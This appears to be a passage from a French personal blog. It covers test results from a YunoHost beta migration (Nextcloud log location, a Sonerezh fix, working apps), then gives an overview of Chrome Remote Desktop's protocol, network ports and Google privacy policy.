J'ai au passage vu que les logs de Nextcloud ne sont pas dans /var/log/nginx/monsousdomaine.domaine.log (soit les logs du domaine nginx lié à Nextcloud) mais dans le fichier /home/yunohost.app/nextcloud/data/nextcloud.log

Reste à voir comment on peut faire pour ajouter tout ça en patch / proposée que ces corrections soient faites automatiquement dans les migrations et installations des applications dans YunoHost.

Sachant que pour Sonerezh, le code source de l'application en elle-même n'est plus maintenue, il faut probablement ajouter la modification dans le script de migration ou d'installation de Sonerezh en tant qu'application YunoHost. A voir.

Migrer ou non ?

La version est encore en Beta. Je ne l'ai pas testé assez longtemps pour voir si il n'y a pas d'autres soucis. J'attendrai donc la sortie officielle en version stable courant juin pour migrer mon instance de production (que j'utilise tous les jours), en attendant, dès que j'ai un peu de temps, je continuerai sur l'instance de test dans Virtualbox pour voir comment je peux continuer à aider un peu un projet que j'utilise quotidiennement. La moindre des choses étant, à mon niveau, d'aider un peu.

Mais dès à présent, de ce que j'ai pu voir, les applications suivantes sont fonctionnelles : Amapache, Dokuwiki, FreshRSS, Kanboard, Shaarli, Roundcube, Wallabag, Sonerezh (suite à la correction), WemaWema, Phpmyadmin et Nextcloud. Reste quand même à tester ça en profondeur.

Bureau à distance Google Chrome

Le but de cet article n'est pas de critiquer une énième fois les GAFAM, de parler dégooglisons etc. Quoique ;)

Bureau à distance Google Chrome

Saviez vous qu'il était possible d'utiliser un ordinateur ou un appareil mobile pour accéder par Internet aux fichiers et aux applications d'un autre ordinateur via le bureau à distance Chrome. Accéder à un autre ordinateur via le bureau à distance Chrome.

Dit autrement, c'est un équivalent de VNC ou TeamViewer, mais directement installé en tant que greffon dans le navigateur Chrome.

Technologies ?

Au delà de la question de l'usine à gaz que devienne les navigateurs webs (il y a déjà suffisamment à faire avec la complexité des pages webs qui sont toujours plus lourdes et chargées en technologie, pour peut être ne pas avoir à y mettre une fonctionnalité comme le bureau à distance, vu qu'il y a des logiciels dédiés pour ça).

Niveau technologie, ça utilise le Chromoting protocol qui est développé par Google. Cela permet la transmission des événements générés par la clavier et la souris (ou l'interface tactile dans le cas d'une tablette) d'un ordinateur à un autre, en relayant les mises à jours écran en arrière plan via le réseau. L'affichage de l'écran distant utilise le code vidéo VP8. Sous Windows, le copier-coller est supporté ainsi que la transmission du flux audio en temps réel.

Dans les prérequis il est indiqué que le trafic se fait via les ports TCP 443 (HTTPS) et 5222 (XMPP). Quelques recherches montrent que des personnes cherchant à bloquer cette fonctionnalité au niveau réseau et conseille de bloquer l'adresse host.talkgadget.google.com au niveau des DNS des réseaux de l'entreprise. Cette adresse dans un navigateur donne la page d'accueil de Google Hangouts, le Skype par Google directement au sein du navigateur (et pour les autres il y a https://meet.jit.si/ et https://framatalk.org/accueil/).

Confidentialité ?

Concernant la confidentialité, Google renvoit vers cette page https://www.google.com/chrome/browser/privacy/#policy-on-using-apps qui contient une phrase très importante Les modules complémentaires développés et fournis par Google peuvent communiquer avec les serveurs Google et sont soumis aux Règles de confidentialité Google, sauf mention contraire.

Cette page renvoyant elle-même aux Règles de confidentialité Google.

D'une façon générale, tout ce qui est fait via Google (le moteur de recherche), via un logiciel de l'écosystème Google (Chrome, les téléphones Android avec la couche Google, les applications Google...) sont susceptibles de fournir des données d'utilisation à Google ; et cette fonctionnalité de bureau à distance n'y fait pas exception.

D'ailleurs, quand on installe Chrome Remote Desktop, on a une demande pour les autorisations suivantes :

Conclusion

Cette fonctionnalité peut s'avérer intéressante pour des utilisateurs de Chrome et de l'écosystème Google.